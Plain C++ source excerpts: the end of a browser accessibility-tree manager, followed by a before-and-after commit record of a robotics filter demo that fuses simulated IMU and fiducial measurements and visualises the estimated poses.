by\n\/\/ index, so we use negative IDs to clearly distinguish between indices\n\/\/ and unique IDs.\n\/\/ static\nint32 BrowserAccessibilityManager::next_child_id_ = -1;\n\n#if (defined(OS_POSIX) && !defined(OS_MACOSX)) || defined(USE_AURA)\n\/\/ There's no OS-specific implementation of BrowserAccessibilityManager\n\/\/ on Unix, so just instantiate the base class.\n\/\/ static\nBrowserAccessibilityManager* BrowserAccessibilityManager::Create(\n gfx::NativeView parent_view,\n const WebAccessibility& src,\n BrowserAccessibilityDelegate* delegate,\n BrowserAccessibilityFactory* factory) {\n return new BrowserAccessibilityManager(\n parent_view, src, delegate, factory);\n}\n#endif\n\n\/\/ static\nBrowserAccessibilityManager* BrowserAccessibilityManager::CreateEmptyDocument(\n gfx::NativeView parent_view,\n WebAccessibility::State state,\n BrowserAccessibilityDelegate* delegate,\n BrowserAccessibilityFactory* factory) {\n \/\/ Use empty document to process notifications\n webkit_glue::WebAccessibility empty_document;\n empty_document.id = 0;\n empty_document.role = WebAccessibility::ROLE_ROOT_WEB_AREA;\n empty_document.state = state;\n return BrowserAccessibilityManager::Create(\n parent_view, empty_document, delegate, factory);\n}\n\nBrowserAccessibilityManager::BrowserAccessibilityManager(\n gfx::NativeView parent_view,\n const WebAccessibility& src,\n BrowserAccessibilityDelegate* delegate,\n BrowserAccessibilityFactory* factory)\n : parent_view_(parent_view),\n delegate_(delegate),\n factory_(factory),\n focus_(NULL) {\n root_ = CreateAccessibilityTree(NULL, src, 0, false);\n if (!focus_)\n SetFocus(root_, false);\n}\n\n\/\/ static\nint32 BrowserAccessibilityManager::GetNextChildID() {\n \/\/ Get the next child ID, and wrap around when we get near the end\n \/\/ of a 32-bit integer range. It's okay to wrap around; we just want\n \/\/ to avoid it as long as possible because clients may cache the ID of\n \/\/ an object for a while to determine if they've seen it before.\n next_child_id_--;\n if (next_child_id_ == -2000000000)\n next_child_id_ = -1;\n\n return next_child_id_;\n}\n\nBrowserAccessibilityManager::~BrowserAccessibilityManager() {\n \/\/ Clients could still hold references to some nodes of the tree, so\n \/\/ calling InternalReleaseReference will make sure that as many nodes\n \/\/ as possible are released now, and remaining nodes are marked as\n \/\/ inactive so that calls to any methods on them will fail gracefully.\n focus_->InternalReleaseReference(false);\n root_->InternalReleaseReference(true);\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::GetRoot() {\n return root_;\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::GetFromChildID(\n int32 child_id) {\n base::hash_map<int32, BrowserAccessibility*>::iterator iter =\n child_id_map_.find(child_id);\n if (iter != child_id_map_.end()) {\n return iter->second;\n } else {\n return NULL;\n }\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::GetFromRendererID(\n int32 renderer_id) {\n base::hash_map<int32, int32>::iterator iter =\n renderer_id_to_child_id_map_.find(renderer_id);\n if (iter == renderer_id_to_child_id_map_.end())\n return NULL;\n\n int32 child_id = iter->second;\n return GetFromChildID(child_id);\n}\n\nvoid BrowserAccessibilityManager::GotFocus() {\n if (!focus_)\n return;\n\n NotifyAccessibilityEvent(AccessibilityNotificationFocusChanged, focus_);\n}\n\nvoid BrowserAccessibilityManager::Remove(int32 child_id, int32 renderer_id) {\n child_id_map_.erase(child_id);\n\n \/\/ TODO(ctguil): Investigate if hit. We should never have a newer entry.\n DCHECK(renderer_id_to_child_id_map_[renderer_id] == child_id);\n \/\/ Make sure we don't overwrite a newer entry (see UpdateNode for a possible\n \/\/ corner case).\n if (renderer_id_to_child_id_map_[renderer_id] == child_id)\n renderer_id_to_child_id_map_.erase(renderer_id);\n}\n\nvoid BrowserAccessibilityManager::OnAccessibilityNotifications(\n const std::vector<AccessibilityHostMsg_NotificationParams>& params) {\n for (uint32 index = 0; index < params.size(); index++) {\n const AccessibilityHostMsg_NotificationParams& param = params[index];\n\n \/\/ Update the tree.\n UpdateNode(param.acc_tree, param.includes_children);\n\n \/\/ Find the node corresponding to the id that's the target of the\n \/\/ notification (which may not be the root of the update tree).\n base::hash_map<int32, int32>::iterator iter =\n renderer_id_to_child_id_map_.find(param.id);\n if (iter == renderer_id_to_child_id_map_.end()) {\n continue;\n }\n int32 child_id = iter->second;\n BrowserAccessibility* node = GetFromChildID(child_id);\n if (!node) {\n NOTREACHED();\n continue;\n }\n\n int notification_type = param.notification_type;\n if (notification_type == AccessibilityNotificationFocusChanged ||\n notification_type == AccessibilityNotificationBlur) {\n SetFocus(node, false);\n\n \/\/ Don't send a native focus event if the window itself doesn't\n \/\/ have focus.\n if (delegate_ && !delegate_->HasFocus())\n continue;\n }\n\n \/\/ Send the notification event to the operating system.\n NotifyAccessibilityEvent(notification_type, node);\n\n \/\/ Set initial focus when a page is loaded.\n if (notification_type == AccessibilityNotificationLoadComplete) {\n if (!focus_)\n SetFocus(root_, false);\n if (!delegate_ || delegate_->HasFocus())\n NotifyAccessibilityEvent(AccessibilityNotificationFocusChanged, focus_);\n }\n }\n}\n\ngfx::NativeView BrowserAccessibilityManager::GetParentView() {\n return parent_view_;\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::GetFocus(\n BrowserAccessibility* root) {\n if (focus_ && (!root || focus_->IsDescendantOf(root)))\n return focus_;\n\n return NULL;\n}\n\nvoid BrowserAccessibilityManager::SetFocus(\n BrowserAccessibility* node, bool notify) {\n if (focus_ != node) {\n if (focus_)\n focus_->InternalReleaseReference(false);\n focus_ = node;\n if (focus_)\n focus_->InternalAddReference();\n }\n\n if (notify && node && delegate_)\n delegate_->SetAccessibilityFocus(node->renderer_id());\n}\n\nvoid BrowserAccessibilityManager::DoDefaultAction(\n const BrowserAccessibility& node) {\n if (delegate_)\n delegate_->AccessibilityDoDefaultAction(node.renderer_id());\n}\n\nvoid BrowserAccessibilityManager::ScrollToMakeVisible(\n const BrowserAccessibility& node, gfx::Rect subfocus) {\n if (delegate_) {\n delegate_->AccessibilityScrollToMakeVisible(node.renderer_id(), subfocus);\n }\n}\n\nvoid BrowserAccessibilityManager::ScrollToPoint(\n const BrowserAccessibility& node, gfx::Point point) {\n if (delegate_) {\n delegate_->AccessibilityScrollToPoint(node.renderer_id(), point);\n }\n}\n\nvoid BrowserAccessibilityManager::SetTextSelection(\n const BrowserAccessibility& node, int start_offset, int end_offset) {\n if (delegate_) {\n delegate_->AccessibilitySetTextSelection(\n node.renderer_id(), start_offset, end_offset);\n }\n}\n\ngfx::Rect BrowserAccessibilityManager::GetViewBounds() {\n if (delegate_)\n return delegate_->GetViewBounds();\n return gfx::Rect();\n}\n\nvoid BrowserAccessibilityManager::UpdateNode(\n const WebAccessibility& src,\n bool include_children) {\n BrowserAccessibility* current = NULL;\n\n \/\/ Look for the node to replace. Either we're replacing the whole tree\n \/\/ (role is ROOT_WEB_AREA) or we look it up based on its renderer ID.\n if (src.role == WebAccessibility::ROLE_ROOT_WEB_AREA) {\n current = root_;\n } else {\n base::hash_map<int32, int32>::iterator iter =\n renderer_id_to_child_id_map_.find(src.id);\n if (iter != renderer_id_to_child_id_map_.end()) {\n int32 child_id = iter->second;\n current = GetFromChildID(child_id);\n }\n }\n\n \/\/ If we can't find the node to replace, we're out of sync with the\n \/\/ renderer (this would be a bug).\n DCHECK(current);\n if (!current)\n return;\n\n \/\/ If this update is just for a single node (|include_children| is false),\n \/\/ modify |current| directly and return - no tree changes are needed.\n if (!include_children) {\n DCHECK_EQ(0U, src.children.size());\n current->PreInitialize(\n this,\n current->parent(),\n current->child_id(),\n current->index_in_parent(),\n src);\n current->PostInitialize();\n return;\n }\n\n BrowserAccessibility* current_parent = current->parent();\n int current_index_in_parent = current->index_in_parent();\n\n \/\/ Detach all of the nodes in the old tree and get a single flat vector\n \/\/ of all node pointers.\n std::vector<BrowserAccessibility*> old_tree_nodes;\n current->DetachTree(&old_tree_nodes);\n\n \/\/ Build a new tree, reusing old nodes if possible. Each node that's\n \/\/ reused will have its reference count incremented by one.\n current = CreateAccessibilityTree(\n current_parent, src, current_index_in_parent, true);\n\n \/\/ Decrement the reference count of all nodes in the old tree, which will\n \/\/ delete any nodes no longer needed.\n for (int i = 0; i < static_cast<int>(old_tree_nodes.size()); i++)\n old_tree_nodes[i]->InternalReleaseReference(false);\n\n \/\/ If the only reference to the focused node is focus_ itself, then the\n \/\/ focused node is no longer in the tree, so set the focus to the root.\n if (focus_ && focus_->ref_count() == 1) {\n SetFocus(root_, false);\n\n if (delegate_ && delegate_->HasFocus())\n NotifyAccessibilityEvent(AccessibilityNotificationBlur, focus_);\n }\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::CreateAccessibilityTree(\n BrowserAccessibility* parent,\n const WebAccessibility& src,\n int index_in_parent,\n bool send_show_events) {\n BrowserAccessibility* instance = NULL;\n int32 child_id = 0;\n bool children_can_send_show_events = send_show_events;\n base::hash_map<int32, int32>::iterator iter =\n renderer_id_to_child_id_map_.find(src.id);\n\n \/\/ If a BrowserAccessibility instance for this ID already exists, add a\n \/\/ new reference to it and retrieve its children vector.\n if (iter != renderer_id_to_child_id_map_.end()) {\n child_id = iter->second;\n instance = GetFromChildID(child_id);\n }\n\n \/\/ If the node has changed roles, don't reuse a BrowserAccessibility\n \/\/ object, that could confuse a screen reader.\n \/\/ TODO(dtseng): Investigate when this gets hit; See crbug.com\/93095.\n DCHECK(!instance || instance->role() == src.role);\n\n \/\/ If we're reusing a node, it should already be detached from a parent\n \/\/ and any children. If not, that means we have a serious bug somewhere,\n \/\/ like the same child is reachable from two places in the same tree.\n if (instance && (instance->parent() != NULL || instance->child_count() > 0)) {\n NOTREACHED();\n instance = NULL;\n }\n\n if (instance) {\n \/\/ If we're reusing a node, update its parent and increment its\n \/\/ reference count.\n instance->UpdateParent(parent, index_in_parent);\n instance->InternalAddReference();\n send_show_events = false;\n } else {\n \/\/ Otherwise, create a new instance.\n instance = factory_->Create();\n child_id = GetNextChildID();\n children_can_send_show_events = false;\n }\n\n instance->PreInitialize(this, parent, child_id, index_in_parent, src);\n child_id_map_[child_id] = instance;\n renderer_id_to_child_id_map_[src.id] = child_id;\n\n if ((src.state >> WebAccessibility::STATE_FOCUSED) & 1)\n SetFocus(instance, false);\n\n for (int i = 0; i < static_cast<int>(src.children.size()); ++i) {\n BrowserAccessibility* child = CreateAccessibilityTree(\n instance, src.children[i], i, children_can_send_show_events);\n instance->AddChild(child);\n }\n\n if (src.role == WebAccessibility::ROLE_ROOT_WEB_AREA)\n root_ = instance;\n\n \/\/ Note: the purpose of send_show_events and children_can_send_show_events\n \/\/ is so that we send a single ObjectShow event for the root of a subtree\n \/\/ that just appeared for the first time, but not on any descendant of\n \/\/ that subtree.\n if (send_show_events)\n NotifyAccessibilityEvent(AccessibilityNotificationObjectShow, instance);\n\n instance->PostInitialize();\n\n return instance;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"viewer\/primitives\/simple_geometry.hh\"\n#include \"viewer\/window_3d.hh\"\n\n#include \"estimation\/jet\/jet_filter.hh\"\n#include \"estimation\/jet\/jet_pose_opt.hh\"\n\n#include \"estimation\/jet\/jet_rk4.hh\"\n\n#include \"util\/environment.hh\"\n\n#include \"eigen.hh\"\n#include \"sophus.hh\"\n\nnamespace estimation {\nnamespace jet_filter {\nnamespace {\n\nParameters mock_parameters() {\n Parameters p;\n const jcc::Vec3 g(0.0, 0.0, -1.3);\n p.g_world = g;\n\n \/\/ const jcc::Vec3 t(0.1, 0.5, 0.1);\n const jcc::Vec3 t(0.0, 0.1, 0.25);\n \/\/ const jcc::Vec3 t = jcc::Vec3::Zero();\n const SO3 r_vehicle_from_sensor = SO3::exp(jcc::Vec3(0.0, 0.0, 0.0));\n const SE3 sensor_from_body(r_vehicle_from_sensor, t);\n p.T_imu_from_vehicle = sensor_from_body;\n return p;\n}\n\nvoid setup() {\n const auto view = viewer::get_window3d(\"Mr. Filter, filters\");\n view->set_target_from_world(\n SE3(SO3::exp(Eigen::Vector3d(-3.1415 * 0.5, 0.0, 0.0)), Eigen::Vector3d::Zero()));\n view->set_continue_time_ms(10);\n\n const auto background = view->add_primitive<viewer::SimpleGeometry>();\n const geometry::shapes::Plane ground{jcc::Vec3::UnitZ(), 0.0};\n background->add_plane({ground});\n background->flip();\n}\n\nvoid draw_states(viewer::SimpleGeometry& geo,\n const std::vector<State>& states,\n bool truth) {\n const int n_states = static_cast<int>(states.size());\n for (int k = 0; k < n_states; ++k) {\n auto& state = states.at(k);\n const SE3 T_world_from_body = state.T_body_from_world.inverse();\n if (truth) {\n geo.add_axes({T_world_from_body, 0.1});\n } else {\n geo.add_axes({T_world_from_body, 0.05, 2.0, true});\n\n if (k < n_states - 1) {\n const auto& next_state = states.at(k + 1);\n const SE3 T_world_from_body_next = next_state.T_body_from_world.inverse();\n geo.add_line(\n {T_world_from_body.translation(), T_world_from_body_next.translation()});\n }\n }\n }\n}\n\nvoid print_state(const State& x) {\n std::cout << \"\\teps_dot : \" << x.eps_dot.transpose() << std::endl;\n std::cout << \"\\teps_ddot : \" << x.eps_ddot.transpose() << std::endl;\n std::cout << \"\\taccel_bias: \" << x.accel_bias.transpose() << std::endl;\n std::cout << \"\\tgyro_bias : \" << x.gyro_bias.transpose() << std::endl;\n \/\/ const auto res = observe_accel(xp.x, true_params);\n \/\/ std::cout << \"\\tExpected Measurement: \" << res.transpose() << std::endl;\n}\n\ntemplate <int dim, int row, int mat_size>\nvoid set_diag_to_value(MatNd<mat_size, mat_size>& mat, double value) {\n mat.template block<dim, dim>(row, row) = (MatNd<dim, dim>::Identity() * value);\n}\n} \/\/ namespace\n\nclass JetOptimizer {\n public:\n JetOptimizer() {\n MatNd<AccelMeasurement::DIM, AccelMeasurement::DIM> accel_cov;\n accel_cov.setZero();\n set_diag_to_value<AccelMeasurementDelta::observed_acceleration_error_dim,\n AccelMeasurementDelta::observed_acceleration_error_ind>(accel_cov,\n 0.01);\n\n MatNd<FiducialMeasurement::DIM, FiducialMeasurement::DIM> fiducial_cov;\n fiducial_cov.block<3, 3>(0, 0) = MatNd<3, 3>::Identity() * 0.001;\n fiducial_cov.block<3, 3>(3, 3) = MatNd<3, 3>::Identity() * 0.0001;\n\n MatNd<State::DIM, State::DIM> state_cov;\n state_cov.setZero();\n set_diag_to_value<StateDelta::accel_bias_error_dim, StateDelta::accel_bias_error_ind>(\n state_cov, 0.0001);\n set_diag_to_value<StateDelta::gyro_bias_error_dim, StateDelta::gyro_bias_error_ind>(\n state_cov, 0.0001);\n set_diag_to_value<StateDelta::eps_dot_error_dim, StateDelta::eps_dot_error_ind>(\n state_cov, 0.1);\n set_diag_to_value<StateDelta::eps_ddot_error_dim, StateDelta::eps_ddot_error_ind>(\n state_cov, 0.1);\n\n constexpr int T_error_dim = StateDelta::T_body_from_world_error_log_dim;\n constexpr int T_error_ind = StateDelta::T_body_from_world_error_log_ind;\n set_diag_to_value<T_error_dim, T_error_ind>(state_cov, 0.001);\n\n imu_id_ = pose_opt_.add_error_model<AccelMeasurement>(accel_error_model, accel_cov);\n fiducial_id_ = pose_opt_.add_error_model<FiducialMeasurement>(fiducial_error_model,\n fiducial_cov);\n pose_opt_.set_dynamics_cov(state_cov);\n }\n\n void measure_imu(const AccelMeasurement& meas, const TimePoint& t) {\n pose_opt_.add_measurement(meas, t, imu_id_);\n }\n\n void measure_fiducial(const FiducialMeasurement& meas, const TimePoint& t) {\n pose_opt_.add_measurement(meas, t, fiducial_id_);\n }\n\n JetPoseOptimizer::Solution solve(const std::vector<State> x, const Parameters& p) {\n const auto view = viewer::get_window3d(\"Mr. Filter, filters\");\n const auto geo = view->add_primitive<viewer::SimpleGeometry>();\n const auto visitor = [&view, &geo](const JetPoseOptimizer::Solution& soln) {\n geo->clear();\n draw_states(*geo, soln.x, false);\n geo->flip();\n std::cout << \"\\tOptimized g: \" << soln.p.g_world.transpose() << std::endl;\n std::cout << \"\\tOptimized T_imu_from_vehicle: \"\n << soln.p.T_imu_from_vehicle.translation().transpose() << \"; \"\n << soln.p.T_imu_from_vehicle.so3().log().transpose() << std::endl;\n view->spin_until_step();\n };\n\n return pose_opt_.solve({x, p}, visitor);\n }\n\n private:\n JetPoseOptimizer pose_opt_{rk4_integrate};\n int imu_id_ = -1;\n int fiducial_id_ = -1;\n};\n\nvoid run_filter() {\n const Parameters true_params = mock_parameters();\n\n JetOptimizer jet_opt;\n\n FilterState<State> xp0;\n xp0.P.setIdentity();\n xp0.x.eps_dot[0] = 1.0;\n xp0.x.eps_dot[4] = -0.6;\n xp0.x.eps_dot[5] = -0.2;\n\n xp0.x.eps_ddot[1] = 0.01;\n xp0.x.eps_ddot[5] = 0.01;\n\n xp0.time_of_validity = {};\n\n State true_x = xp0.x;\n true_x.eps_dot[4] = 0.1;\n\n JetFilter jf(xp0);\n\n \/\/ AccelMeasurement imu_meas;\n \/\/ imu_meas.observed_acceleration[0] = 2.0;\n\n setup();\n const auto view = viewer::get_window3d(\"Mr. Filter, filters\");\n const auto obs_geo = view->add_primitive<viewer::SimpleGeometry>();\n constexpr double sphere_size_m = 0.05;\n\n std::vector<State> ground_truth;\n std::vector<State> est_states;\n\n TimePoint start_time = {};\n constexpr auto dt = to_duration(0.1);\n\n constexpr int NUM_SIM_STEPS = 1000;\n\n TimePoint current_time = start_time;\n\n for (int k = 0; k < NUM_SIM_STEPS; ++k) {\n if (k > 75 && k < 130) {\n true_x.eps_ddot[0] = 0.1;\n true_x.eps_ddot[1] = -0.02;\n true_x.eps_ddot[2] = -0.03;\n\n true_x.eps_ddot[3] = 0.1;\n true_x.eps_ddot[4] = 0.05;\n true_x.eps_ddot[5] = -0.01;\n } else if (k > 130) {\n true_x.eps_ddot.setZero();\n }\n\n \/\/\n \/\/ Accelerometer Observation\n \/\/\n \/\/ if ((k % 10 == 0) && k > 75) {\n if (true) {\n ground_truth.push_back(true_x);\n const AccelMeasurement imu_meas =observe_accel(true_x, true_params;\n std::cout << \"Accel: \" << imu_meas.observed_acceleration.transpose() << std::endl;\n\n jf.measure_imu(imu_meas, current_time);\n jet_opt.measure_imu(imu_meas, current_time);\n\n jf.free_run();\n est_states.push_back(jf.state().x);\n assert(jf.state().time_of_validity == current_time);\n\n const jcc::Vec4 accel_color(0.0, 0.7, 0.7, 0.8);\n obs_geo->add_sphere({jf.state().x.T_body_from_world.inverse().translation(),\n sphere_size_m, accel_color});\n\n const SE3 world_from_body = jf.state().x.T_body_from_world.inverse();\n const jcc::Vec3 observed_accel_body_frame =\n (world_from_body.so3() * true_params.T_imu_from_vehicle.so3().inverse() *\n imu_meas.observed_acceleration);\n\n obs_geo->add_line(\n {world_from_body.translation(),\n world_from_body.translation() + (0.25 * observed_accel_body_frame),\n accel_color});\n }\n\n \/\/\n \/\/ Gyro Observation\n \/\/\n if (false) {\n ground_truth.push_back(true_x);\n const AccelMeasurement imu_meas = observe_accel(true_x, true_params);\n std::cout << \"Accel: \" << imu_meas.observed_acceleration.transpose() << std::endl;\n\n jf.measure_imu(imu_meas, current_time);\n jet_opt.measure_imu(imu_meas, current_time);\n\n jf.free_run();\n est_states.push_back(jf.state().x);\n assert(jf.state().time_of_validity == current_time);\n\n const jcc::Vec4 accel_color(0.0, 0.7, 0.7, 0.8);\n obs_geo->add_sphere({jf.state().x.T_body_from_world.inverse().translation(),\n sphere_size_m, accel_color});\n\n const SE3 world_from_body = jf.state().x.T_body_from_world.inverse();\n const jcc::Vec3 observed_accel_body_frame =\n (world_from_body.so3() * true_params.T_imu_from_vehicle.so3().inverse() *\n imu_meas.observed_acceleration);\n\n obs_geo->add_line(\n {world_from_body.translation(),\n world_from_body.translation() + (0.25 * observed_accel_body_frame),\n accel_color});\n }\n\n \/\/\n \/\/ Fiducial Measurement\n \/\/\n\n {\n constexpr auto dt2 = to_duration(0.05);\n true_x = rk4_integrate(true_x, true_params, to_seconds(dt2));\n current_time += dt2;\n\n ground_truth.push_back(true_x);\n const FiducialMeasurement fiducial_meas = observe_fiducial(true_x, true_params);\n\n jf.measure_fiducial(fiducial_meas, current_time);\n jet_opt.measure_fiducial(fiducial_meas, current_time);\n\n jf.free_run();\n est_states.push_back(jf.state().x);\n assert(jf.state().time_of_validity == current_time);\n obs_geo->add_sphere({jf.state().x.T_body_from_world.inverse().translation(),\n sphere_size_m, jcc::Vec4(1.0, 0.0, 0.0, 1.0)});\n }\n\n \/\/\n \/\/ Printout\n \/\/\n {\n const auto xp = jf.state();\n std::cout << \"k: \" << k << std::endl;\n print_state(xp.x);\n }\n true_x = rk4_integrate(true_x, true_params, to_seconds(dt));\n current_time += dt;\n }\n\n \/\/ Do the optimization\n\n obs_geo->flip();\n const auto geo = view->add_primitive<viewer::SimpleGeometry>();\n draw_states(*geo, ground_truth, true);\n geo->flip();\n\n \/\/ const std::vector<State> crap_init(est_states.size(), xp0.x);\n \/\/ const auto solution = jet_opt.solve(crap_init, jf.parameters());\n const auto solution = jet_opt.solve(est_states, jf.parameters());\n \/\/ const auto solution = jet_opt.solve(ground_truth, jf.parameters());\n\n for (std::size_t k = 0; k < solution.x.size(); ++k) {\n const auto& state = solution.x.at(k);\n std::cout << \"----- \" << k << std::endl;\n print_state(state);\n std::cout << \"\\\\\\\\\\\\\\\\\\\\\\\\\" << std::endl;\n print_state(ground_truth.at(k));\n }\n std::cout << \"Optimized g: \" << solution.p.g_world.transpose() << std::endl;\n std::cout << \"Optimized T_imu_from_vehicle: \"\n << solution.p.T_imu_from_vehicle.translation().transpose() << \"; \"\n << solution.p.T_imu_from_vehicle.so3().log().transpose() << std::endl;\n\n draw_states(*geo, solution.x, false);\n\n view->spin_until_step();\n}\n\n} \/\/ namespace jet_filter\n} \/\/ namespace estimation\n\nint main() {\n \/\/ estimation::jet_filter::go();\n estimation::jet_filter::run_filter();\n}<commit_msg>Stopping point for filter demo -- working<commit_after>#include \"viewer\/primitives\/simple_geometry.hh\"\n#include \"viewer\/window_3d.hh\"\n\n#include \"estimation\/jet\/jet_filter.hh\"\n#include \"estimation\/jet\/jet_pose_opt.hh\"\n\n#include \"estimation\/jet\/jet_rk4.hh\"\n\n#include \"util\/environment.hh\"\n\n#include \"eigen.hh\"\n#include \"sophus.hh\"\n\nnamespace estimation {\nnamespace jet_filter {\nnamespace {\n\nParameters mock_parameters() {\n Parameters p;\n const jcc::Vec3 g(0.0, 0.0, -1.3);\n p.g_world = g;\n\n \/\/ const jcc::Vec3 t(0.1, 0.5, 0.1);\n const jcc::Vec3 t(0.0, 0.1, 0.25);\n \/\/ const jcc::Vec3 t = jcc::Vec3::Zero();\n const SO3 r_vehicle_from_sensor = SO3::exp(jcc::Vec3(0.0, 0.0, 0.0));\n const SE3 sensor_from_body(r_vehicle_from_sensor, t);\n p.T_imu_from_vehicle = sensor_from_body;\n return p;\n}\n\nvoid setup() {\n const auto view = viewer::get_window3d(\"Mr. Filter, filters\");\n view->set_target_from_world(\n SE3(SO3::exp(Eigen::Vector3d(-3.1415 * 0.5, 0.0, 0.0)), Eigen::Vector3d::Zero()));\n view->set_continue_time_ms(10);\n\n const auto background = view->add_primitive<viewer::SimpleGeometry>();\n const geometry::shapes::Plane ground{jcc::Vec3::UnitZ(), 0.0};\n background->add_plane({ground});\n background->flip();\n}\n\nvoid draw_states(viewer::SimpleGeometry& geo,\n const std::vector<State>& states,\n bool truth) {\n const int n_states = static_cast<int>(states.size());\n for (int k = 0; k < n_states; ++k) {\n auto& state = states.at(k);\n const SE3 T_world_from_body = state.T_body_from_world.inverse();\n if (truth) {\n geo.add_axes({T_world_from_body, 0.1});\n } else {\n geo.add_axes({T_world_from_body, 0.05, 2.0, true});\n\n if (k < n_states - 1) {\n const auto& next_state = states.at(k + 1);\n const SE3 T_world_from_body_next = next_state.T_body_from_world.inverse();\n geo.add_line(\n {T_world_from_body.translation(), T_world_from_body_next.translation()});\n }\n }\n }\n}\n\nvoid print_state(const State& x) {\n std::cout << \"\\teps_dot : \" << x.eps_dot.transpose() << std::endl;\n std::cout << \"\\teps_ddot : \" << x.eps_ddot.transpose() << std::endl;\n std::cout << \"\\taccel_bias: \" << x.accel_bias.transpose() << std::endl;\n std::cout << \"\\tgyro_bias : \" << x.gyro_bias.transpose() << std::endl;\n \/\/ const auto res = observe_accel(xp.x, true_params);\n \/\/ std::cout << \"\\tExpected Measurement: \" << res.transpose() << std::endl;\n}\n\ntemplate <int dim, int row, int mat_size>\nvoid set_diag_to_value(MatNd<mat_size, mat_size>& mat, double value) {\n mat.template block<dim, dim>(row, row) = (MatNd<dim, dim>::Identity() * value);\n}\n} \/\/ namespace\n\nclass JetOptimizer {\n public:\n JetOptimizer() {\n MatNd<AccelMeasurement::DIM, AccelMeasurement::DIM> accel_cov;\n accel_cov.setZero();\n {\n set_diag_to_value<AccelMeasurementDelta::observed_acceleration_error_dim,\n AccelMeasurementDelta::observed_acceleration_error_ind>(accel_cov,\n 0.01);\n }\n\n MatNd<FiducialMeasurement::DIM, FiducialMeasurement::DIM> fiducial_cov;\n {\n fiducial_cov.block<3, 3>(0, 0) = MatNd<3, 3>::Identity() * 0.001;\n fiducial_cov.block<3, 3>(3, 3) = MatNd<3, 3>::Identity() * 0.0001;\n }\n MatNd<State::DIM, State::DIM> state_cov;\n {\n state_cov.setZero();\n set_diag_to_value<StateDelta::accel_bias_error_dim,\n StateDelta::accel_bias_error_ind>(state_cov, 0.0001);\n set_diag_to_value<StateDelta::gyro_bias_error_dim, StateDelta::gyro_bias_error_ind>(\n state_cov, 0.0001);\n set_diag_to_value<StateDelta::eps_dot_error_dim, StateDelta::eps_dot_error_ind>(\n state_cov, 0.1);\n set_diag_to_value<StateDelta::eps_ddot_error_dim, StateDelta::eps_ddot_error_ind>(\n state_cov, 0.1);\n\n constexpr int T_error_dim = StateDelta::T_body_from_world_error_log_dim;\n constexpr int T_error_ind = StateDelta::T_body_from_world_error_log_ind;\n set_diag_to_value<T_error_dim, T_error_ind>(state_cov, 0.001);\n }\n\n const MatNd<GyroMeasurement::DIM, GyroMeasurement::DIM> gyro_cov = accel_cov;\n\n imu_id_ =\n pose_opt_.add_error_model<AccelMeasurement>(observe_accel_error_model, accel_cov);\n gyro_id_ =\n pose_opt_.add_error_model<GyroMeasurement>(observe_gyro_error_model, gyro_cov);\n\n fiducial_id_ = pose_opt_.add_error_model<FiducialMeasurement>(fiducial_error_model,\n fiducial_cov);\n pose_opt_.set_dynamics_cov(state_cov);\n }\n\n void measure_imu(const AccelMeasurement& meas, const TimePoint& t) {\n pose_opt_.add_measurement(meas, t, imu_id_);\n }\n\n void measure_fiducial(const FiducialMeasurement& meas, const TimePoint& t) {\n pose_opt_.add_measurement(meas, t, fiducial_id_);\n }\n\n void measure_gyro(const GyroMeasurement& meas, const TimePoint& t) {\n pose_opt_.add_measurement(meas, t, gyro_id_);\n }\n\n JetPoseOptimizer::Solution solve(const std::vector<State> x, const Parameters& p) {\n const auto view = viewer::get_window3d(\"Mr. Filter, filters\");\n const auto geo = view->add_primitive<viewer::SimpleGeometry>();\n const auto visitor = [&view, &geo](const JetPoseOptimizer::Solution& soln) {\n geo->clear();\n draw_states(*geo, soln.x, false);\n geo->flip();\n std::cout << \"\\tOptimized g: \" << soln.p.g_world.transpose() << std::endl;\n std::cout << \"\\tOptimized T_imu_from_vehicle: \"\n << soln.p.T_imu_from_vehicle.translation().transpose() << \"; \"\n << soln.p.T_imu_from_vehicle.so3().log().transpose() << std::endl;\n view->spin_until_step();\n };\n\n return pose_opt_.solve({x, p}, visitor);\n }\n\n private:\n JetPoseOptimizer pose_opt_{rk4_integrate};\n int imu_id_ = -1;\n int gyro_id_ = -1;\n int fiducial_id_ = -1;\n};\n\nvoid run_filter() {\n const Parameters true_params = mock_parameters();\n\n JetOptimizer jet_opt;\n\n FilterState<State> xp0;\n {\n MatNd<State::DIM, State::DIM> state_cov;\n state_cov.setZero();\n set_diag_to_value<StateDelta::accel_bias_error_dim, StateDelta::accel_bias_error_ind>(\n state_cov, 0.0001);\n set_diag_to_value<StateDelta::gyro_bias_error_dim, StateDelta::gyro_bias_error_ind>(\n state_cov, 0.0001);\n set_diag_to_value<StateDelta::eps_dot_error_dim, StateDelta::eps_dot_error_ind>(\n state_cov, 0.01);\n set_diag_to_value<StateDelta::eps_ddot_error_dim, StateDelta::eps_ddot_error_ind>(\n state_cov, 0.1);\n\n xp0.P = state_cov;\n }\n \/\/ xp0.x.eps_dot[0] = 1.0;\n \/\/ xp0.x.eps_dot[4] = -0.6;\n \/\/ xp0.x.eps_dot[5] = -0.2;\n\n \/\/ xp0.x.eps_ddot[1] = 0.01;\n \/\/ xp0.x.eps_ddot[5] = 0.01;\n \/\/ xp0.x.eps_ddot[3] = 0.02;\n\n xp0.time_of_validity = {};\n\n State true_x = xp0.x;\n true_x.eps_dot[4] = 0.1;\n\n true_x.eps_dot[0] = 1.0;\n true_x.eps_dot[4] = -0.6;\n true_x.eps_dot[5] = -0.2;\n\n true_x.eps_ddot[1] = 0.01;\n true_x.eps_ddot[5] = 0.01;\n true_x.eps_ddot[3] = 0.02;\n\n JetFilter jf(xp0);\n\n \/\/ AccelMeasurement imu_meas;\n \/\/ imu_meas.observed_acceleration[0] = 2.0;\n\n setup();\n const auto view = viewer::get_window3d(\"Mr. Filter, filters\");\n const auto obs_geo = view->add_primitive<viewer::SimpleGeometry>();\n constexpr double sphere_size_m = 0.05;\n\n std::vector<State> ground_truth;\n std::vector<State> est_states;\n\n TimePoint start_time = {};\n constexpr auto dt = to_duration(0.1);\n\n constexpr int NUM_SIM_STEPS = 300;\n\n TimePoint current_time = start_time;\n\n for (int k = 0; k < NUM_SIM_STEPS; ++k) {\n if (k > 75 && k < 130) {\n \/\/ true_x.eps_ddot[0] = 0.1;\n \/\/ true_x.eps_ddot[1] = -0.02;\n \/\/ true_x.eps_ddot[2] = -0.03;\n\n \/\/ true_x.eps_ddot[3] = 0.1;\n 